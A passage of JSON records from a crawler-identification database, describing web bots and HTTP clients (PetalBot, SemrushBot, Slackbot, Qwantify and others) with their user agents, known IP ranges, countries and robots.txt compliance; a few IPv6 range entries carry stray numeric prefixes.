-------------------------------------------------------------------------------- /data/PageThing.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 1, 3 | "comments": "Unclear what their goal is, almost no information on their website.", 4 | "country": "GB", 5 | "description": "Data mining and analysis company.", 6 | "id": "PageThing", 7 | "known_cidrs": ["213.168.249.115/32"], 8 | "last_updated": "2020-09-28", 9 | "robotstxt": { 10 | "downloads": true, 11 | "respects": true, 12 | "should": true 13 | }, 14 | "type": 2, 15 | "user_agents": ["PageThing.com"], 16 | "website": { 17 | "reachable": true, 18 | "url": "https://pagething.com" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/Pandalytics.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 7, 3 | "comments": "", 4 | "country": "US", 5 | "description": "Business intelligence company.", 6 | "id": "Pandalytics", 7 | "known_cidrs": [ 8 | "3.248.253.243/32", 9 | "3.249.60.228/32", 10 | "3.249.141.197/32", 11 | "3.249.225.70/32", 12 | "3.249.241.139/32", 13 | "34.244.240.94/32", 14 | "34.247.173.224/32", 15 | "34.247.174.73/32", 16 | "34.247.213.224/32", 17 | "34.249.213.52/32", 18 | "34.255.9.99/32", 19 | "34.255.10.252/32", 20 | "34.255.100.147/32", 21 | "34.255.181.124/32", 22 | "45.148.10.45/32", 23 | "52.16.237.219/32", 24 | "52.31.64.122/32", 25 | "52.49.14.131/32", 26 | "54.78.66.146/32", 27 | "54.154.76.133/32", 28 | "63.33.64.39/32", 29 | "63.34.29.236/32", 30 | "94.140.114.17/32", 31 | "185.82.127.47/32" 32 | ], 33 | "last_updated": "2020-08-06", 34 | "robotstxt": { 35 | "downloads": true, 36 | "respects": true, 37 | "should": true 38 | }, 39 | "type": 2, 40 | "user_agents": ["Pandalytics/1.0 (https://domainsbot.com/pandalytics/)"], 41 | "website": { 42 | "reachable": true, 43 | "url": "https://domainsbot.com/pandalytics/" 44 | } 45 | } 46 | -------------------------------------------------------------------------------- /data/Panscient.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 1, 3 | "comments": "", 4 | "country": "US", 5 | "description": "Crawls the web looking for corporate information, such as company names, addresses, executive biographies, job openings and product information. Also crawls the web to locate genealogy pages, such as birth, marriage and death records, obituaries and census records.", 6 | "id": "Panscient", 7 | "known_cidrs": ["72.79.58.112/32"], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": true, 11 | "respects": true, 12 | "should": true 13 | }, 14 | "type": 2, 15 | "user_agents": [ 16 | "Mozilla/5.0 (compatible; Panscient/1.0; +http://panscient.com/faq.htm)" 17 | ], 18 | "website": { 19 | "reachable": true, 20 | "url": "http://panscient.com/faq.htm" 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /data/PetalBot.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 0, 3 | "comments": "Chinese search engine operated by Huawei. The broken user agent listed actually appears repeatedly in the wild.", 4 | "country": "CN", 5 | "description": "PetalBot is an automatic program of the Petal search engine. The function of PetalBot is to access both PC and mobile websites and establish an index database which enables users to search the content of your site in Petal search engine. You can identify crawling from Petal by analyzing the User-agent field.", 6 | "id": "PetalBot", 7 | "known_cidrs": [ 8 | "10.179.4.176/32", 9 | "10.179.80.229/32", 10 | "114.119.160.0/24", 11 | "114.119.161.0/24", 12 | "114.119.162.0/24", 13 | "114.119.163.0/24", 14 | "114.119.164.0/24", 15 | "114.119.165.0/24", 16 | "114.119.166.0/24", 17 | "114.119.167.0/24" 18 | ], 19 | "last_updated": "2020-08-16", 20 | "robotstxt": { 21 | "downloads": true, 22 | "respects": false, 23 | "should": true 24 | }, 25 | "type": 2, 26 | "user_agents": [ 27 | "(compatible;PetalBot;+https://aspiegel.com/petalbot)", 28 | "Mozilla/5.0 (compatible;PetalBot;+https://aspiegel.com/petalbot)", 29 | "Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://aspiegel.com/petalbot)" 30 | ], 31 | "website": { 32 | "reachable": true, 33 | "url": "https://aspiegel.com/petalbot" 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /data/Photon.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 99, 3 | "comments": "Bot of unknown origin requesting mainly non-existing URLs.", 4 | "country": null, 5 | "description": "", 6 | "id": "Photon", 7 | "known_cidrs": [ 8 | "195.234.109.12/32", 9 | "195.234.109.60/32", 10 | "195.234.109.80/32", 11 | "195.234.109.118/32", 12 | "195.234.109.128/32", 13 | "195.234.109.132/32", 14 | "195.234.109.176/32", 15 | "195.234.109.188/32" 16 | ], 17 | "last_updated": "2020-08-18", 18 | "robotstxt": { 19 | "downloads": null, 20 | "respects": null, 21 | "should": null 22 | }, 23 | "type": 99, 24 | "user_agents": ["Photon/1.0"], 25 | "website": { 26 | "reachable": false, 27 | "url": "" 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /data/Pinterest.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 1, 3 | "comments": "", 4 | "country": "US", 5 | "description": "Pinterest crawls liked sites for signals that enable them to infer better recommendations, fight spam, and display useful information.", 6 | "id": "Pinterest", 7 | "known_cidrs": ["54.236.1.11/32", "54.236.1.12/31"], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": true, 11 | "respects": true, 12 | "should": true 13 | }, 14 | "type": 2, 15 | "user_agents": ["Pinterest/0.2 (+https://www.pinterest.com/bot.html)"], 16 | "website": { 17 | "reachable": true, 18 | "url": "https://www.pinterest.com/bot.html" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/Pinterestbot.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 1, 3 | "comments": "", 4 | "country": "US", 5 | "description": "Pinterest crawls liked sites for signals that enable them to infer better recommendations, fight spam, and display useful information.", 6 | "id": "Pinterestbot", 7 | "known_cidrs": ["54.236.1.11/32", "54.236.1.12/31"], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": true, 11 | "respects": true, 12 | "should": true 13 | }, 14 | "type": 2, 15 | "user_agents": [ 16 | "Mozilla/5.0 (compatible; Pinterestbot/1.0; +http://www.pinterest.com/bot.html)" 17 | ], 18 | "website": { 19 | "reachable": true, 20 | "url": "http://www.pinterest.com/bot.html" 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /data/Plukkie.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 0, 3 | "comments": "Bad search results, apparently abandoned.", 4 | "country": "NL", 5 | "description": "Indexer for search engine botje.com.", 6 | "id": "Plukkie", 7 | "known_cidrs": [], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": true, 11 | "respects": true, 12 | "should": true 13 | }, 14 | "type": 2, 15 | "user_agents": [ 16 | "Mozilla/5.0 (compatible; Plukkie/1.6; http://www.botje.com/plukkie.htm)" 17 | ], 18 | "website": { 19 | "reachable": true, 20 | "url": "http://www.botje.com/plukkie.htm" 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /data/Python-urllib.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 4, 3 | "comments": "", 4 | "country": "ZZ", 5 | "description": "Built-in Python HTTP library.", 6 | "id": "Python-urllib", 7 | "known_cidrs": [], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": null, 11 | "respects": null, 12 | "should": null 13 | }, 14 | "type": 1, 15 | "user_agents": [ 16 | "Python-urllib/1.17", 17 | "Python-urllib/2.7", 18 | "Python-urllib/3.8" 19 | ], 20 | "website": { 21 | "reachable": true, 22 | "url": "https://docs.python.org/3/library/urllib.request.html#module-urllib.request" 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /data/Qwantify.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 0, 3 | "comments": "", 4 | "country": "FR", 5 | "description": "European search engine based in France.", 6 | "id": "Qwantify", 7 | "known_cidrs": [ 8 | "91.242.162.47/32", 9 | "91.242.162.85/32", 10 | "91.242.162.86/32", 11 | "91.242.162.135/32", 12 | "194.187.171.66/31", 13 | "194.187.171.68/32", 14 | "194.187.171.70/32", 15 | "194.187.171.73/32", 16 | "194.187.171.74/31", 17 | "194.187.171.76/32", 18 | "194.187.171.78/31", 19 | "194.187.171.80/31", 20 | "194.187.171.82/32", 21 | "194.187.171.84/30", 22 | "194.187.171.88/31", 23 | "194.187.171.90/32", 24 | "194.187.171.92/30", 25 | "194.187.171.96/32", 26 | "194.187.171.98/31", 27 | "194.187.171.100/31", 28 | "194.187.171.103/32", 29 | "194.187.171.104/29", 30 | "194.187.171.112/32", 31 | "194.187.171.114/31", 32 | "194.187.171.116/31", 33 | "194.187.171.119/32", 34 | "194.187.171.120/32", 35 | "194.187.171.123/32", 36 | "194.187.171.124/32", 37 | "194.187.171.126/31", 38 | "194.187.171.128/31", 39 | "194.187.171.131/32", 40 | "194.187.171.133/32", 41 | "194.187.171.134/31", 42 | "194.187.171.136/32", 43 | "194.187.171.138/31", 44 | "194.187.171.140/30", 45 | "194.187.171.144/30", 46 | "194.187.171.149/32", 47 | "194.187.171.150/31", 48 | "194.187.171.152/31", 49 | "194.187.171.155/32", 50 | "194.187.171.156/31" 51 | ], 52 | "last_updated": "2020-08-06", 53 | "robotstxt": { 54 | "downloads": true, 55 | "respects": true, 56 | "should": true 57 | }, 58 | "type": 2, 59 | "user_agents": [ 60 | "Mozilla/5.0 (compatible; Qwantify/2.4w; +https://www.qwant.com/)/2.4w", 61 | "Mozilla/5.0 (compatible; Qwantify/Bleriot/1.1; +https://help.qwant.com/bot)", 62 | "Qwantify/1.0" 63 | ], 64 | "website": { 65 | "reachable": true, 66 | "url": "https://help.qwant.com/bot" 67 | } 68 | } 69 | -------------------------------------------------------------------------------- /data/Researchscan.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 8, 3 | "comments": "", 4 | "country": "DE", 5 | "description": "Internet-wide research study being conducted by computer scientists at RWTH Aachen University.", 6 | "id": "Researchscan", 7 | "known_cidrs": [], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": false, 11 | "respects": false, 12 | "should": true 13 | }, 14 | "type": 0, 15 | "user_agents": [ 16 | "Mozilla/5.0 zgrab/0.x (compatible; Researchscan/t12sns; +http://researchscan.comsys.rwth-aachen.de)" 17 | ], 18 | "website": { 19 | "reachable": true, 20 | "url": "http://researchscan.comsys.rwth-aachen.de" 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /data/RestSharp.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 4, 3 | "comments": "If you don't publish an API, this client has no business visiting a production website.", 4 | "country": "ZZ", 5 | "description": "REST API client library for .NET.", 6 | "id": "RestSharp", 7 | "known_cidrs": [], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": null, 11 | "respects": null, 12 | "should": null 13 | }, 14 | "type": 1, 15 | "user_agents": ["RestSharp/105.2.3.0"], 16 | "website": { 17 | "reachable": true, 18 | "url": "https://restsharp.dev" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/Riddler.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 1, 3 | "comments": "", 4 | "country": null, 5 | "description": "Online research project which investigates algorithms for mapping the topology of the Internet. Riddler collects data about public systems via crawling and port mapping common ports.", 6 | "id": "Riddler", 7 | "known_cidrs": [], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": true, 11 | "respects": true, 12 | "should": true 13 | }, 14 | "type": 2, 15 | "user_agents": ["Riddler (http://riddler.io/about)"], 16 | "website": { 17 | "reachable": true, 18 | "url": "http://riddler.io/about" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/RobotsChecker.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 1, 3 | "comments": "", 4 | "country": "GB", 5 | "description": "Will check if a site is being blocked by running tests on major fixed line ISPs and mobile networks.", 6 | "id": "RobotsChecker", 7 | "known_cidrs": ["84:2001:41c9:1:420::105/128"], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": false, 11 | "respects": false, 12 | "should": true 13 | }, 14 | "type": 0, 15 | "user_agents": ["RobotsChecker/0.6 (+http://www.blocked.org.uk)"], 16 | "website": { 17 | "reachable": true, 18 | "url": "http://www.blocked.org.uk" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/Ruby.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 4, 3 | "comments": "Usually used by lazy scanners (script kiddies) and automated probing for obvious vulnerabilities.", 4 | "country": "ZZ", 5 | "description": "Ruby built-in HTTP library.", 6 | "id": "Ruby", 7 | "known_cidrs": [], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": null, 11 | "respects": null, 12 | "should": null 13 | }, 14 | "type": 1, 15 | "user_agents": ["Ruby"], 16 | "website": { 17 | "reachable": true, 18 | "url": "https://ruby-doc.org/stdlib-2.7.1/libdoc/net/http/rdoc/Net/HTTP.html" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/RyteBot.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 7, 3 | "comments": "", 4 | "country": "DE", 5 | "description": "SEO company.", 6 | "id": "RyteBot", 7 | "known_cidrs": [], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": null, 11 | "respects": null, 12 | "should": true 13 | }, 14 | "type": 2, 15 | "user_agents": ["RyteBot/1.0.0 (+https://bot.ryte.com/)"], 16 | "website": { 17 | "reachable": true, 18 | "url": "https://en.ryte.com/bot/" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/SEOlizer.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 7, 3 | "comments": "Does not even request robots.txt and admits to it on the linked website.", 4 | "country": "DE", 5 | "description": "Our SEOLizer bots search the internet for any kind of website. Our database already contains more than 105 million websites and the number is increasing every day.", 6 | "id": "SEOlizer", 7 | "known_cidrs": ["104.248.129.60/32"], 8 | "last_updated": "2020-08-18", 9 | "robotstxt": { 10 | "downloads": false, 11 | "respects": false, 12 | "should": true 13 | }, 14 | "type": 2, 15 | "user_agents": [ 16 | "SEOlizer/1.1 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13 (+https://www.seolizer.de/bot.html)" 17 | ], 18 | "website": { 19 | "reachable": true, 20 | "url": "https://www.seolizer.de/bot.html" 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /data/SMTBot.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 1, 3 | "comments": "Claims to respect robots.txt but ignores it.", 4 | "country": "IR", 5 | "description": "Identifies technologies used on websites.", 6 | "id": "SMTBot", 7 | "known_cidrs": ["34.234.54.252/32"], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": false, 11 | "respects": false, 12 | "should": true 13 | }, 14 | "type": 2, 15 | "user_agents": [ 16 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.75 Safari/537.36 (compatible; SMTBot/1.0; +http://www.similartech.com/smtbot)" 17 | ], 18 | "website": { 19 | "reachable": true, 20 | "url": "http://www.similartech.com/smtbot" 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /data/SSL_Labs.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 4, 3 | "comments": "", 4 | "country": "US", 5 | "description": "SSL Labs (this web site) is a non-commercial research effort, run by Qualys, to better understand how SSL, TLS, and PKI technologies are used in practice. Since 2009, we have been working on tools and documentation to assist system owners assess, troubleshoot, and improve their usage of SSL. We have also worked very hard to promote the importance of properly configured SSL servers for security.", 6 | "id": "SSL Labs", 7 | "known_cidrs": ["64.41.200.106/32"], 8 | "last_updated": "2020-08-18", 9 | "robotstxt": { 10 | "downloads": false, 11 | "respects": false, 12 | "should": false 13 | }, 14 | "type": 0, 15 | "user_agents": ["SSL Labs (https://www.ssllabs.com/about/assessment.html)"], 16 | "website": { 17 | "reachable": true, 18 | "url": "https://www.ssllabs.com/about/assessment.html" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/SWRLinkchecker.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 4, 3 | "comments": "Part of the online publishing infrastructure of german public broadcaster Südwestrundfunk.", 4 | "country": "DE", 5 | "description": "", 6 | "id": "SWRLinkchecker", 7 | "known_cidrs": [], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": false, 11 | "respects": false, 12 | "should": false 13 | }, 14 | "type": 0, 15 | "user_agents": ["SWRLinkchecker"], 16 | "website": { 17 | "reachable": true, 18 | "url": "https://www.swr.de" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/Scrapy.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 4, 3 | "comments": "The framework actually recommends changing the user agent.", 4 | "country": "ZZ", 5 | "description": "Scraping framework for Python.", 6 | "id": "Scrapy", 7 | "known_cidrs": [], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": null, 11 | "respects": null, 12 | "should": true 13 | }, 14 | "type": 1, 15 | "user_agents": ["Scrapy/1.7.2 (+https://scrapy.org)"], 16 | "website": { 17 | "reachable": true, 18 | "url": "https://scrapy.org" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/Screaming_Frog_SEO_Spider.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 7, 3 | "comments": "", 4 | "country": "ZZ", 5 | "description": "Dedicated SEO software.", 6 | "id": "Screaming Frog SEO Spider", 7 | "known_cidrs": [], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": true, 11 | "respects": true, 12 | "should": true 13 | }, 14 | "type": 1, 15 | "user_agents": ["Screaming Frog SEO Spider/13.0"], 16 | "website": { 17 | "reachable": true, 18 | "url": "https://www.screamingfrog.co.uk/seo-spider/" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/SearchAtlas_com_SEO_Crawler.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 7, 3 | "comments": "", 4 | "country": "US", 5 | "description": "SEO company.", 6 | "id": "SearchAtlas.com SEO Crawler", 7 | "known_cidrs": [ 8 | "139.178.68.146/32", 9 | "147.75.97.94/32", 10 | "147.75.97.98/32", 11 | "147.75.97.166/32", 12 | "147.75.197.242/32" 13 | ], 14 | "last_updated": "2020-08-06", 15 | "robotstxt": { 16 | "downloads": true, 17 | "respects": true, 18 | "should": true 19 | }, 20 | "type": 2, 21 | "user_agents": ["SearchAtlas.com SEO Crawler"], 22 | "website": { 23 | "reachable": true, 24 | "url": "https://www.searchatlas.com" 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /data/Seekport_Crawler.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 0, 3 | "comments": "", 4 | "country": null, 5 | "description": "Generic search engine based in Germany.", 6 | "id": "Seekport Crawler", 7 | "known_cidrs": [], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": null, 11 | "respects": null, 12 | "should": true 13 | }, 14 | "type": 2, 15 | "user_agents": [ 16 | "Mozilla/5.0 (compatible; Seekport Crawler; http://seekport.com/" 17 | ], 18 | "website": { 19 | "reachable": true, 20 | "url": "http://seekport.com/" 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /data/SemrushBot.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 7, 3 | "comments": "It's a SEO company.", 4 | "country": "US", 5 | "description": "SEMrushBot is the search bot software that SEMrush sends out to discover and collect new and updated web data.", 6 | "id": "SemrushBot", 7 | "known_cidrs": [ 8 | "46.229.168.131/32", 9 | "46.229.168.134/31", 10 | "46.229.168.139/32", 11 | "46.229.168.140/31", 12 | "46.229.168.145/32", 13 | "46.229.168.147/32", 14 | "46.229.168.148/30", 15 | "46.229.168.163/32", 16 | "85.208.96.4/31", 17 | "85.208.96.14/32", 18 | "85.208.96.17/32", 19 | "85.208.96.65/32", 20 | "85.208.96.66/31", 21 | "85.208.96.68/30" 22 | ], 23 | "last_updated": "2020-08-06", 24 | "robotstxt": { 25 | "downloads": true, 26 | "respects": true, 27 | "should": true 28 | }, 29 | "type": 2, 30 | "user_agents": [ 31 | "Mozilla/5.0 (compatible; SemrushBot-BA; +http://www.semrush.com/bot.html)", 32 | "Mozilla/5.0 (compatible; SemrushBot/1.0~bm; +http://www.semrush.com/bot.html)", 33 | "Mozilla/5.0 (compatible; SemrushBot/6~bl; +http://www.semrush.com/bot.html)" 34 | ], 35 | "website": { 36 | "reachable": true, 37 | "url": "http://www.semrush.com/bot.html" 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /data/Semtix_cz.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 7, 3 | "comments": "Claims to respect robots.txt.", 4 | "country": "CZ", 5 | "description": "Content marketing company.", 6 | "id": "Semtix.cz", 7 | "known_cidrs": ["40.113.99.245/32", "137.116.216.84/32"], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": true, 11 | "respects": false, 12 | "should": true 13 | }, 14 | "type": 2, 15 | "user_agents": ["Semtix.cz "], 16 | "website": { 17 | "reachable": true, 18 | "url": "https://semtix.cz/bot" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/SeoChecker.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 7, 3 | "comments": "", 4 | "country": null, 5 | "description": "SEO company.", 6 | "id": "SeoChecker", 7 | "known_cidrs": ["51.158.23.2/32", "207.180.197.61/32", "207.180.239.89/32"], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": false, 11 | "respects": false, 12 | "should": true 13 | }, 14 | "type": 2, 15 | "user_agents": ["Mozilla/5.0 (compatible; SeoChecker/1.1)"], 16 | "website": { 17 | "reachable": true, 18 | "url": "https://seochecker.us" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/SeznamBot.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 0, 3 | "comments": "Downloads but ignores robots.txt sometimes.", 4 | "country": "CZ", 5 | "description": "Czech search engine.", 6 | "id": "SeznamBot", 7 | "known_cidrs": [ 8 | "77.75.76.164/32", 9 | "77.75.76.167/32", 10 | "77.75.78.161/32", 11 | "77.75.78.163/32", 12 | "77.75.78.164/32", 13 | "77.75.78.167/32", 14 | "21:2a02:598:bbbb:2::8113/128", 15 | "23:2a02:598:aaaa:2::8001/128", 16 | "25:2a02:598:aaaa:2::8049/128", 17 | "25:2a02:598:aaaa:2::8161/128", 18 | "26:2a02:598:aaaa:2::8381/128", 19 | "29:2a02:598:aaaa:2::8397/128", 20 | "55:2a02:598:bbbb:2::8349/128", 21 | "64:2a02:598:aaaa:2::8193/128", 22 | "101:2a02:598:bbbb:2::8397/128", 23 | "108:2a02:598:aaaa:2::8081/128", 24 | "111:2a02:598:aaaa:2::8017/128", 25 | "111:2a02:598:bbbb:2::8049/128", 26 | "113:2a02:598:aaaa:2::8333/128", 27 | "116:2a02:598:aaaa:2::8065/128", 28 | "117:2a02:598:aaaa:2::8177/128", 29 | "121:2a02:598:aaaa:2::8033/128", 30 | "121:2a02:598:bbbb:2::8001/128", 31 | "130:2a02:598:aaaa:2::8413/128", 32 | "135:2a02:598:bbbb:2::8225/128", 33 | "172:2a02:598:bbbb:2::8365/128", 34 | "175:2a02:598:bbbb:2::8177/128", 35 | "177:2a02:598:bbbb:2::8193/128", 36 | "2a02:598:aaaa:2::8081/128", 37 | "2a02:598:aaaa:2::8113/128", 38 | "2a02:598:aaaa:2::8209/128", 39 | "2a02:598:aaaa:2::8365/128", 40 | "2a02:598:bbbb:2::8145/128", 41 | "2a02:598:bbbb:2::8301/128", 42 | "2a02:598:bbbb:2::8397/128", 43 | "2a02:598:bbbb:2::8413/128" 44 | ], 45 | "last_updated": "2020-08-06", 46 | "robotstxt": { 47 | "downloads": true, 48 | "respects": false, 49 | "should": true 50 | }, 51 | "type": 2, 52 | "user_agents": [ 53 | "Mozilla/5.0 (compatible; SeznamBot/3.2; +http://napoveda.seznam.cz/en/seznambot-intro/)" 54 | ], 55 | "website": { 56 | "reachable": true, 57 | "url": "http://napoveda.seznam.cz/en/seznambot-intro/" 58 | } 59 | } 60 | -------------------------------------------------------------------------------- /data/SkypeUriPreview.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 4, 3 | "comments": "", 4 | "country": "US", 5 | "description": "Robot generating previews of URLs inside of the Skype application.", 6 | "id": "SkypeUriPreview", 7 | "known_cidrs": [ 8 | "52.114.6.38/32", 9 | "52.114.75.71/32", 10 | "52.114.77.26/32", 11 | "52.114.142.71/32" 12 | ], 13 | "last_updated": "2020-08-18", 14 | "robotstxt": { 15 | "downloads": false, 16 | "respects": false, 17 | "should": true 18 | }, 19 | "type": 2, 20 | "user_agents": [ 21 | "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5" 22 | ], 23 | "website": { 24 | "reachable": true, 25 | "url": "https://www.skype.com" 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /data/Slack-ImgProxy.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 4, 3 | "comments": "", 4 | "country": "US", 5 | "description": "This robot is used to fetch and cache images posted into Slack channels. Proxying images in this way allows us to hide detailed referrer information (which can include team and/or project names), ensure these images are served over HTTPS, and improve performance.", 6 | "id": "Slack-ImgProxy", 7 | "known_cidrs": [], 8 | "last_updated": "2020-08-07", 9 | "robotstxt": { 10 | "downloads": false, 11 | "respects": false, 12 | "should": true 13 | }, 14 | "type": 0, 15 | "user_agents": ["Slack-ImgProxy 0.19 (+https://api.slack.com/robots)"], 16 | "website": { 17 | "reachable": true, 18 | "url": "https://api.slack.com/robots" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/Slackbot-LinkExpanding.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 4, 3 | "comments": "", 4 | "country": "US", 5 | "description": "This robot responds to links that Slack users post into their channels. It fetches as little of the page as it can (using HTTP Range headers) to extract meta tags about the content. ", 6 | "id": "Slackbot-LinkExpanding", 7 | "known_cidrs": [ 8 | "3.80.128.216/32", 9 | "3.81.53.73/32", 10 | "3.82.216.153/32", 11 | "3.84.220.185/32", 12 | "18.207.199.64/32", 13 | "18.212.145.19/32", 14 | "34.227.227.77/32", 15 | "52.55.228.155/32", 16 | "52.55.245.215/32", 17 | "52.91.46.10/32", 18 | "54.85.48.10/32", 19 | "54.89.162.56/32", 20 | "54.91.215.122/32", 21 | "54.173.211.45/32", 22 | "54.198.53.243/32", 23 | "54.198.237.22/32", 24 | "54.208.176.63/32", 25 | "107.22.128.166/32" 26 | ], 27 | "last_updated": "2020-08-07", 28 | "robotstxt": { 29 | "downloads": false, 30 | "respects": false, 31 | "should": true 32 | }, 33 | "type": 0, 34 | "user_agents": ["Slackbot-LinkExpanding 1.0 (+https://api.slack.com/robots)"], 35 | "website": { 36 | "reachable": true, 37 | "url": "https://api.slack.com/robots" 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /data/Slackbot.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 4, 3 | "comments": "", 4 | "country": "US", 5 | "description": "This is our default, does everything, kitchen sink robot. Anytime we need to make an HTTP request that is not covered by the above, we use this robot. Examples would include making API requests for services we integrate with or sending Outgoing Webhooks that users have configured on their teams.", 6 | "id": "Slackbot", 7 | "known_cidrs": [], 8 | "last_updated": "2020-08-07", 9 | "robotstxt": { 10 | "downloads": false, 11 | "respects": false, 12 | "should": true 13 | }, 14 | "type": 0, 15 | "user_agents": ["Slackbot 1.0(+https://api.slack.com/robots)"], 16 | "website": { 17 | "reachable": true, 18 | "url": "https://api.slack.com/robots" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/Sogou_web_spider.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 0, 3 | "comments": "", 4 | "country": "CN", 5 | "description": "Chinese search engine operated by Tencent.", 6 | "id": "Sogou web spider", 7 | "known_cidrs": [ 8 | "49.7.20.69/32", 9 | "49.7.20.125/32", 10 | "49.7.21.80/31", 11 | "49.7.21.90/31", 12 | "49.7.21.117/32", 13 | "58.250.125.6/32", 14 | "58.250.125.68/32", 15 | "58.250.125.74/32", 16 | "58.250.125.86/32", 17 | "58.250.125.89/32", 18 | "58.250.125.105/32", 19 | "58.250.125.131/32", 20 | "111.202.100.82/32", 21 | "111.202.101.66/32", 22 | "111.202.103.114/32", 23 | "123.183.224.30/32", 24 | "123.183.224.98/32" 25 | ], 26 | "last_updated": "2020-08-06", 27 | "robotstxt": { 28 | "downloads": true, 29 | "respects": false, 30 | "should": true 31 | }, 32 | "type": 2, 33 | "user_agents": [ 34 | "Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)" 35 | ], 36 | "website": { 37 | "reachable": true, 38 | "url": "http://www.sogou.com/docs/help/webmasters.htm#07" 39 | } 40 | } 41 | -------------------------------------------------------------------------------- /data/Sophora.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 4, 3 | "comments": "", 4 | "country": "DE", 5 | "description": "Part of the Sophora CMS system.", 6 | "id": "Sophora", 7 | "known_cidrs": [], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": false, 11 | "respects": false, 12 | "should": false 13 | }, 14 | "type": 0, 15 | "user_agents": ["Mozilla/5.0 (compatible; Sophora; http://www.subshell.com)"], 16 | "website": { 17 | "reachable": true, 18 | "url": "http://www.subshell.com" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/Spider2_0.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 99, 3 | "comments": "", 4 | "country": null, 5 | "description": "", 6 | "id": "Spider2.0", 7 | "known_cidrs": ["91.123.157.56/32"], 8 | 